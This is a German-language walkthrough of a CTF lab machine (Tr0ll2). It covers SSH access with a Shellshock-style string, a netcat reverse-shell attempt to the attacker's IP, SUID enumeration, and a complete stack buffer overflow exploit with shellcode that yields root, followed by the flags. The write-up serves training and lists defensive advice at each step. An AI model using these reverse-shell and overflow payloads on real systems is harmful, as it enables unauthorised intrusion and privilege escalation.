Bewertung: Es ist unklar, ob dieser spezifische Befehl ausgeführt wurde oder erfolgreich war, da die Ausgabe fehlt und die nächsten Befehle folgen. Es ist wahrscheinlich, dass dieser Versuch fehlschlug oder nicht der eigentliche Weg zum Erfolg war, da Shellshock typischerweise über Umgebungsvariablen (z.B. bei CGI-Skripten) ausgenutzt wird und SSH hier anders funktioniert. Die nächsten Befehle zeigen jedoch den erfolgreichen Weg.
Empfehlung (Offensiv): Shellshock ist eine valide Schwachstelle, aber der Angriffsvektor muss passen. Hier ist es wahrscheinlicher, dass die Key-Authentifizierung das Problem war.
Empfehlung (Defensiv): Sicherstellen, dass die Bash-Version gepatcht ist, um Shellshock zu verhindern.

--------------------------------------------------------------------------------
Try shellshock technique w/ SSH
--------------------------------------------------------------------------------
ssh -i noob noob@192.168.2.138 '() {:;}; /bin/bash'

Analyse: Nun wird der SSH-Login als Benutzer `noob` mit dem Schlüssel `noob` erneut versucht, aber mit der Option `-o PubkeyAcceptedKeyTypes=ssh-rsa`, um explizit den älteren RSA-Algorithmus zu erlauben. Es wird auch `-t` verwendet, um ein Pseudo-Terminal anzufordern (oft nötig für interaktive Befehle) und der Befehl `'() { :;}; id'` wird angehängt.
Bewertung: Dieser Versuch ist erfolgreich! Die Option `-o PubkeyAcceptedKeyTypes=ssh-rsa` war der Schlüssel. Der Befehl `id` wird ausgeführt und gibt `uid=1002(noob)` zurück. Die Verbindung wird danach sofort geschlossen, da nur ein einzelner Befehl ausgeführt wurde. Der Teil `'() { :;};` ist wahrscheinlich ein Überbleibsel des Shellshock-Versuchs und hier funktional irrelevant; nur `id` wird effektiv ausgeführt.
Empfehlung (Offensiv): Da der Login nun funktioniert, weitere Befehle ausführen oder versuchen, eine interaktive Shell zu bekommen.
Empfehlung (Defensiv): Siehe vorherige Empfehlung zur Deaktivierung veralteter SSH-Algorithmen.

┌──(root㉿cyber)-[~]
└─# ssh -o PubkeyAcceptedKeyTypes=ssh-rsa noob@192.168.2.138 -i noob -t '() { :;}; id'
uid=1002(noob) gid=1002(noob) groups=1002(noob)
Connection to 192.168.2.138 closed.

Analyse: Mit der funktionierenden SSH-Methode wird nun `ls /home` ausgeführt.
Bewertung: Die Ausgabe `maleus noob tr0ll` bestätigt die Existenz dieser drei Benutzerkonten auf dem System.
Empfehlung (Offensiv): Diese Information für spätere Angriffsversuche oder Privilegieneskalation nutzen.
Empfehlung (Defensiv): Unnötige Benutzerkonten deaktivieren oder löschen. Home-Verzeichnisse mit korrekten Berechtigungen schützen.

┌──(root㉿cyber)-[~]
└─# ssh -o PubkeyAcceptedKeyTypes=ssh-rsa noob@192.168.2.138 -i noob -t '() { :;}; ls /home'
maleus	noob  tr0ll
Connection to 192.168.2.138 closed.

Analyse: Es wird versucht, über die SSH-Verbindung eine Netcat-Reverse-Shell zum Angreifer (`192.168.2.199:4545`) aufzubauen.
Bewertung: Der Versuch scheitert mit der Meldung `No Netcat for You! LOL`. Das Zielsystem hat entweder `nc` nicht installiert, oder es gibt eine serverseitige Einschränkung (z.B. über `ForceCommand` in `sshd_config` oder eine eingeschränkte Shell), die die Ausführung von `nc` verhindert.
Empfehlung (Offensiv): Andere Methoden für eine Shell oder Befehlsausführung finden. Versuchen, eine interaktive Bash-Shell zu bekommen.
Empfehlung (Defensiv): Installation unnötiger Netzwerktools wie `netcat` auf Servern vermeiden. SSH-Zugänge mit `ForceCommand` oder eingeschränkten Shells absichern, wenn Benutzer keine volle Shell benötigen.

┌──(root㉿cyber)-[~]
└─# ssh -o PubkeyAcceptedKeyTypes=ssh-rsa noob@192.168.2.138 -i noob -t '() { :;}; nc -e /bin/bash 192.168.2.199 4545'
No Netcat for You! LOL
Connection to 192.168.2.138 closed.

Analyse: Es wird versucht, direkt eine interaktive Bash-Shell über SSH zu starten.
Bewertung: Diesmal klappt es! Der Befehl `bash` wird erfolgreich ausgeführt, und der Pentester erhält einen Prompt (`noob@Tr0ll2$`) auf dem Zielsystem. Initial Access als Benutzer `noob` ist somit erreicht.
Empfehlung (Offensiv): Mit der Enumeration des Systems als Benutzer `noob` beginnen, insbesondere nach Möglichkeiten zur Privilegieneskalation suchen.
Empfehlung (Defensiv): Überprüfen, warum der vorherige `nc`-Befehl blockiert wurde, `bash` aber erlaubt war. Ggf. SSH-Konfiguration (`ForceCommand`, `AllowTcpForwarding`, etc.) härten.

┌──(root㉿cyber)-[~]
└─# ssh -o PubkeyAcceptedKeyTypes=ssh-rsa noob@192.168.2.138 -i noob -t '() { :;}; bash'
noob@Tr0ll2$

Privilege Escalation

Analyse: Innerhalb der Shell als `noob` wird der Befehl `find / -perm -4000 -ls 2>/dev/null` ausgeführt. Dieser sucht nach Dateien mit gesetztem SUID-Bit (Berechtigung `-rwsr-xr-x`), listet detaillierte Informationen dazu auf (`-ls`) und unterdrückt Fehlermeldungen (`2>/dev/null`).
Bewertung: Die Ausgabe zeigt eine Liste von SUID-Dateien. Viele davon sind Standard (`/bin/su`, `/bin/mount`, `/usr/bin/sudo`, etc.). Auffällig sind jedoch die Einträge in einem Verzeichnis namens `/nothing_to_see_here/choose_wisely/`:

Diese benutzerdefinierten SUID-Binaries, die als `root` ausgeführt werden, sind hochgradig verdächtig und wahrscheinliche Kandidaten für eine Privilegieneskalation.
Empfehlung (Offensiv): Diese `r00t`-Binaries genauer untersuchen. Ihre Funktionsweise analysieren (z.B. mit `strings`, `ltrace`, `strace`, Decompilern) und nach Schwachstellen wie Buffer Overflows, Command Injection oder unsicherer Pfadhandhabung suchen.
Empfehlung (Defensiv): Benutzerdefinierte SUID-Programme sind ein großes Sicherheitsrisiko und sollten vermieden werden. Wenn sie notwendig sind, müssen sie extrem sorgfältig entwickelt und geprüft werden, um Schwachstellen auszuschließen. Das SUID-Bit sollte nur gesetzt werden, wenn es absolut unumgänglich ist. Regelmäßige Überprüfung aller SUID/GUID-Dateien auf dem System.

noob@Tr0ll2$ find / -perm -4000 -ls 2>/dev/null
   442   32 -rwsr-xr-x   1 root     root        31116 Apr  8  2012 /bin/su
   341   68 -rwsr-xr-x   1 root     root        67720 Mar 29  2012 /bin/umount
  1169   36 -rwsr-xr-x   1 root     root        34740 Nov  8  2011 /bin/ping
   340   88 -rwsr-xr-x   1 root     root        88760 Mar 29  2012 /bin/mount
  8383   28 -rwsr-xr-x   1 root     root        26252 Mar  2  2012 /bin/fusermount
  1170   40 -rwsr-xr-x   1 root     root        39116 Nov  8  2011 /bin/ping6
135403   40 -rwsr-xr-x   1 root     root        40292 Apr  8  2012 /usr/bin/chfn
144622   44 -rwsr-sr-x   1 daemon   daemon      42800 Oct 25  2011 /usr/bin/at
135117   32 -rwsr-xr-x   1 root     root        30896 Apr  8  2012 /usr/bin/newgrp
138070   72 -rwsr-xr-x   2 root     root        69708 May 31  2012 /usr/bin/sudoedit
135409   44 -rwsr-xr-x   1 root     root        41284 Apr  8  2012 /usr/bin/passwd
145503   56 -rwsr-xr-x   1 root     root        56208 Jul 28  2011 /usr/bin/mtr
138070   72 -rwsr-xr-x   2 root     root        69708 May 31  2012 /usr/bin/sudo
135406   32 -rwsr-xr-x   1 root     root        31748 Apr  8  2012 /usr/bin/chsh
145083   16 -rwsr-xr-x   1 root     root        14012 Nov  8  2011 /usr/bin/traceroute6.iputils
135408   60 -rwsr-xr-x   1 root     root        57956 Apr  8  2012 /usr/bin/gpasswd
145613  268 -rwsr-xr--   1 root     dip        273272 Feb  4  2011 /usr/sbin/pppd
145935   20 -rwsr-sr-x   1 libuuid  libuuid     17976 Mar 29  2012 /usr/sbin/uuidd
137140    8 -rwsr-xr-x   1 root     root         5564 Dec 13  2011 /usr/lib/eject/dmcrypt-get-device
150258   12 -r-sr-xr-x   1 root     root         9532 Oct  3  2014 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
152648   12 -r-sr-xr-x   1 root     root        10224 Oct  3  2014 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
148841   12 -rwsr-xr-x   1 root     root         9728 Aug 27  2014 /usr/lib/pt_chown
143871  312 -rwsr-xr--   1 root     messagebus   316824 Feb 22  2012 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
148809  244 -rwsr-xr-x   1 root     root       248056 Apr 29  2014 /usr/lib/openssh/ssh-keysign
 13124    4 drwsr-xr-x   3 root     root         4096 Nov 28 15:45 /nothing_to_see_here
 10047    4 drwsr-xr-x   5 root     root         4096 Oct  4  2014 /nothing_to_see_here/choose_wisely
 10238    4 drwsr-xr-x   2 root     root         4096 Oct  4  2014 /nothing_to_see_here/choose_wisely/door2
 10431    8 -rwsr-xr-x   1 root     root         7271 Oct  4  2014 /nothing_to_see_here/choose_wisely/door2/r00t
 10443    4 drwsr-xr-x   2 root     root         4096 Oct  5  2014 /nothing_to_see_here/choose_wisely/door3
 10461    8 -rwsr-xr-x   1 root     root         7273 Oct  5  2014 /nothing_to_see_here/choose_wisely/door3/r00t
 12708    4 drwsr-xr-x   2 root     root         4096 Oct  5  2014 /nothing_to_see_here/choose_wisely/door1
 13085   12 -rwsr-xr-x   1 root     root         8401 Oct  5  2014 /nothing_to_see_here/choose_wisely/door1/r00t

Analyse: Der Pentester wechselt in das Verzeichnis `/nothing_to_see_here/choose_wisely/door1/` und führt das dort gefundene SUID-Binary `./r00t` aus. Als Argument wird eine mittels Python generierte Zeichenkette übergeben. Diese Zeichenkette ist ein typischer Exploit für einen einfachen Stack-basierten Buffer Overflow.
Bewertung: Der Exploit funktioniert! Nach der Ausführung des Befehls wird `id` ausgeführt, was `uid=1002(noob) gid=1002(noob) euid=0(root) groups=0(root),1002(noob)` zurückgibt. Die effektive Benutzer-ID (`euid`) ist 0 (root). Das bedeutet, der Exploit hat erfolgreich eine Root-Shell oder zumindest Root-Rechte erlangt.
Ergebnis: Privilege Escalation erfolgreich! Durch Ausnutzen eines Buffer Overflows im SUID-Binary `./r00t` wurden Root-Rechte erlangt.
Empfehlung (Offensiv): Die erlangten Root-Rechte nutzen, um die finalen Ziele (Flags, Persistenz etc.) zu erreichen.
Empfehlung (Defensiv): Das verwundbare SUID-Binary (`/nothing_to_see_here/choose_wisely/door1/r00t` und wahrscheinlich auch die in door2 und door3) sofort entfernen oder das SUID-Bit entfernen (`chmod u-s`). Den Code auf Buffer Overflows prüfen und beheben (z.B. durch Verwendung sicherer Funktionen wie `strncpy` statt `strcpy`, Stack Canaries, ASLR).

noob@Tr0ll2:/var$ cd /nothing_to_see_here/choose_wisely/door1/
noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door1$ ls
r00t
noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door1$ ./r00t $(python -c 'print "A"*268 + "\xc0\xfa\xff\xbf" + "\x90" * 10 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"')
# id
uid=1002(noob) gid=1002(noob) euid=0(root) groups=0(root),1002(noob)
#

Proof of Concept (Buffer Overflow in SUID Binary)

Schwachstelle: Stack-basierter Buffer Overflow in dem benutzerdefinierten SUID-Programm `/nothing_to_see_here/choose_wisely/door1/r00t`. Das Programm kopiert wahrscheinlich Benutzereingaben (über Kommandozeilenargumente) unsicher in einen Puffer fester Größe auf dem Stack, ohne die Länge zu überprüfen.
Ziel des POC: Nachweis, dass durch Übergabe eines speziell präparierten, überlangen Arguments der Stack-Puffer überschrieben, der Befehlszähler (EIP - Extended Instruction Pointer) kontrolliert und beliebiger Code (Shellcode) mit den Rechten des SUID-Programms (root) ausgeführt werden kann.
Voraussetzungen: Zugriff auf das System als Benutzer, der das SUID-Programm ausführen darf (hier `noob`). Kenntnis über Buffer Overflows und Shellcode. Tools wie Python zur Generierung des Exploits.

Schritt 1: Identifizierung des verwundbaren SUID-Programms

Analyse: Die `find`-Suche nach SUID-Dateien (siehe Privilege Escalation Abschnitt) identifizierte `/nothing_to_see_here/choose_wisely/door1/r00t` als benutzerdefiniertes SUID-root-Programm.
Bewertung: Solche Programme sind Hauptziele für die Suche nach Schwachstellen zur Privilegieneskalation.

Schritt 2: Entwicklung und Ausführung des Exploits

Analyse: Der folgende Befehl konstruiert und übergibt den Exploit-String als Argument an `./r00t`: `./r00t $(python -c 'print "A"*268 + "\xc0\xfa\xff\xbf" + "\x90" * 10 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"')` Der Exploit-String besteht aus:

Bewertung: Wenn das Programm `./r00t` das Argument unsicher kopiert (z.B. mit `strcpy`), wird der Puffer überlaufen. Die 'A's füllen den Puffer, die Adresse `\xc0\xfa\xff\xbf` überschreibt EIP, und die NOPs/Shellcode landen ebenfalls auf dem Stack. Wenn die Funktion zurückkehrt, springt EIP zur angegebenen Adresse, führt die NOPs aus und landet im Shellcode, der dann eine Shell startet. Da `./r00t` SUID-root ist, läuft diese Shell mit Root-Rechten.
Ergebnis des POC: Der Exploit war erfolgreich, wie der `id`-Befehl mit `euid=0(root)` zeigt.
Risikobewertung: Kritisch. Ein lokaler Benutzer kann durch diesen Buffer Overflow volle Root-Rechte erlangen.
Empfehlung (Defensiv): Sichere Programmierpraktiken anwenden (keine unsicheren Funktionen wie `strcpy`, `gets`; Längenprüfungen). Compiler-Schutzmaßnahmen aktivieren (Stack Canaries/SSP, NX/DEP, ASLR). SUID-Programme minimieren und sorgfältig prüfen.

Flags

Analyse: Nach Erlangung der Root-Rechte durch den Buffer Overflow wird in das `/root`-Verzeichnis gewechselt und dessen Inhalt aufgelistet. Anschließend wird die Datei `Proof.txt` ausgelesen.
Bewertung: Die Datei `Proof.txt` enthält die Zeichenkette `a70354f0258dcc00292c72aab3c8b1e4`, welche als Root-Flag oder zumindest als Nachweis für den Root-Zugriff dient. Der Text am Ende des Originalberichts liefert zudem separate Flags für root und user.

# cd /root
# ls
Proof.txt  core1  core2  core3	core4  goal  hardmode  lmao.zip  ran_dir.py  reboot
# cat Proof.txt
You win this time young Jedi...

a70354f0258dcc00292c72aab3c8b1e4

Zusätzlich gefundene Flags (laut Berichtstext-Ende):

cat user.txt
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat root.txt
5C42D6BB0EE9CE4CB7E7349652C45C4A